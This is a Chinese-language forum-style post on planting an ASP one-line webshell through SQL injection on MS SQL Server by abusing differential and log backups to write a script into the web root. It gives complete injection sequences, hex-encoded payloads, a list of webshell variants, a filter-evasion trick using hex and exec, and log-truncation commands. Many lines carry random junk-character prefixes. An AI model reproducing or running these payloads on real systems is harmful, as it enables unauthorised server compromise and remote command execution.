MSsql差异备份总结

admin

差异备份的流程大概这样：
1.完整备份一次(保存位置当然可以改)
- e; H! \  m" zbackup database 库名 to disk = 'c:\ddd.bak';--

% I3 \+ }8 y5 f- W; _( [/ w2.创建表并插曲入数据
8 c! I' t# l; y% Kcreate table [dbo].[dtest] ([cmd] [image]);
) E6 g3 C5 {" i0 h$ u, k3 }! m- binsert into dtest(cmd) values(0x3C25657865637574652872657175657374282261222929253E);--
8 j  v) K9 U& U) f, w. T  e
3.进行差异备份
backup database 库名 to disk='目标位置\d.asp' WITH DIFFERENTIAL,FORMAT;--

  w/ S6 o2 E5 J5 P; K上面
, [3 H  @! q) @: x- `0x3C25657865637574652872657175657374282261222929253E
就是一句话木马的内容：<%execute(request("a"))%>

! t3 k, M  e$ p0 Q' n8 |+ M如下是网上常见的差异备份代码，思路一样！
* f/ z  v- O0 E5 A, U; T* y% I===================================================
利用差异备份提高提高backupwebshell的成功率,减少文件大小
步骤:

4 X& d4 \3 F3 K5 ]declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s  --备份数据库
& w& L6 t4 K* ?9 `5 |& M# v: {  o
create table [dbo].[xiaolu] ([cmd] [image]);  -- 创建一个表
, T, p5 [: P' L! _: O+ i

insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)  --将一句话木马的16进制字符插入到表中
% o) N3 L" s, V; t9 l: A" V
, K' R+ H5 ]8 G5 sdeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL,FORMAT  --对数据库实行差异备份
4 T8 O; l- j7 [* m' X4 ?; B$ O" k
drop table [xiaolu]  -- 删除此表。
# b2 Z6 k/ M( G, T4 s0 N
0x77006F006B0061006F002E00620061006B00为wokao.bak
0x3C25657865637574652872657175657374282261222929253E是<%execute(request("a"))%>
6 U! d$ C$ ?- ^) a8 S  Z0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000是e:\web\wokao.asp

3 c6 Q* D' |4 c+ r; E6 j0 f声明：方法不是我想的，我只是写工具，默认得到shell是
# B1 A; k8 g' d& @3 G1 D& V<%execute(request("a"))%>
===============================================================
$ {, Q+ @0 _# i) g
5 ]+ ]7 e% j3 i" _1 J2 ?) x我发现上面代码，有时会无效，而直接用
6 p( Q: g# W3 f/ W: h0 _( {
: Y$ x( s& H9 q  N; lbackup database 库名 to disk = 'c:\ddd.bak'
" \9 G/ h2 V2 d3 Z
* ?4 R& d! Q* b9 g4 B$ ?* kcreate table [dbo].[dtest] ([cmd] [image]);
- e3 M/ C! L+ T# Y; k
' ~) a9 G" F9 O0 p0 X& Finsert into dtest(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
6 P- C! r- l$ L' G3 V
backup database 库名 to disk='目标位置\d.asp' WITH DIFFERENTIAL,FORMAT;--

4 R" x# [2 h2 X9 A6 d: c  c却可以成功，所以把最原始的方法写出来！思路是前人所创,这不说大家也知道的！
8 U, h; \& A% D% o9 b/ t7 G; q
7 y- H8 c* K9 O库名 必须要有效的库名，一般注入工具都可以得到！如果某站过滤 "‘",就要把字符内容转为数值了！
3 h: n5 ]7 o" b" }
+ q' J0 A" s& c7 E0 ]网上还有log增量备份的，我也把他记录一下
- K/ J. q  u6 O3 K( e=====================================================
! O, `' x0 Q4 s4 x8 z$ T2 U另一种log增量备份技术:

';alter database null set RECOVERY FULL--

';create table cmd (a image)--
4 S/ ?6 G  s) ?4 A3 [) |
3 T# E; W- s9 Y' \';backup log null to disk = 'f:\cmd' with init--

% e0 u3 {* N. d, r8 e';insert into cmd (a) values (0x3C25657865637574652872657175657374282261222929253EDA)--
# @2 r4 j5 H2 I0 [
';backup log null to disk = '备份路径'--
3 G$ q+ E, i1 G; M
';drop table cmd--
5 Q1 q# w' l/ Q( W4 c2 C
';alter database XXX set RECOVERY SIMPLE--

0 s; S4 ~5 A9 t0 qPS:0x3C2565786563757465287265717565737428226122292
$ l/ t1 y' u7 a* J9253EDA 是一句话小马16进制转来的
" Q1 ]/ Z" F' G8 L9 Z8 I
( g  |( r- C* y. \( X说到一句话马，还可以有这么几种写法：
+ S" P2 T" O( W0 z: g: j" E
+ ~. N( r, n- \2 b" F. F8 I/ Da)<%%25Execute(request("a"))%%25>
9 b$ e$ B+ x& i; @b)<%Execute(request("a"))%>
3 L8 t# [: u3 A# V" s  A3 bc)%><%execute request("a")%><%
3 F# S* M/ l  ~- Y4 n& }- O; g$ Nd)<script language=VBScript runat=server>execute request("a")</script>
. }) S6 o2 [* k. je)<%25Execute(request("a"))%25>
f)<%eval(request("a")):response.end%> 备分专用一句话   (也就是插入一句话后所有的代码都无效,在一句话这里打止)
g)"%><%eval (request (chr(309)))%><%'" 网站配置版权信息插马专用一句话
h)<%On Error Resume Next:response.clear:execute request("value"):response.End%>
5 b+ [# l' U; S. w5 t! g, uI)<%eval request(0)%>
0 N' v) O8 [3 o4 I* pJ)"%><%Eval Request(0)%> 网站配置版权信息插马专用一句话
5 F3 |. i- v3 z7 |+ D. b
=============================================

7 b2 b8 C# n$ C9 M( @6 v当遇到差备过滤了/时用这个语句代替

declare @a varchar(1024);set @a=cast(0x65786563206D6D as varchar(1024));exec (@a);--
( ~4 H0 A9 ]& f3 s9 b. U6 G7 u, G
  w- G# d9 s% H把要执行的语句转16进制然后用exec执行

" O. Q2 b4 `4 g  ?
, f  ]8 C, J+ Z+ C( ]: h  i: w3 D减少备份文件大小方法如下:
2 |+ U6 c  K' w8 V/ z
; S2 ]) ?- A# u" k总的来说就是那么简单几句,下面以备份数据库model为例子
; ?" _% n$ m. s, S1
id=1;use model create table cmd(str image);insert into cmd(str) values ('<%25execute(request("a"))%25>')
/ X6 Z& f4 b; R& F! F4 n2
1 [" x/ u" d- L" E$ Qid=1;backup database model to disk='你的路径‘ with differential,format;--
! Z% a4 K, w/ ]6 x6 ^$ O

4 q1 \7 d( S- s
SQL语句清理日志
3 y9 v5 K8 s. e* ^2 D注：test为数据库名
+ B  X1 w  o+ c
+ g, X, A: F: Q# e. I  y& r, j: |7 {--清空日志
% G. }4 G, J. z/ mDUMP TRANSACTION test WITH NO_LOG
9 z) A1 a( ~" b; k
: z+ E3 s0 I6 s) X--截断事务日志
  {# c' ~  n% \, H6 \8 @; r3 `BACKUP LOG test WITH NO_LOG
8 C% w! w2 u! x+ z* {
--收缩数据库
DBCC SHRINKDATABASE(test)
4 q! |) e- \; p+ h
--收缩指定数据文件,1是文件号,可以通过这个语句查询到
Select * from sysfiles DBCC SHRINKFILE(1)

, k7 Q% T6 |" J1 {--以后能自动收缩
EXEC sp_dboption 'test', 'autoshrink', 'TRUE'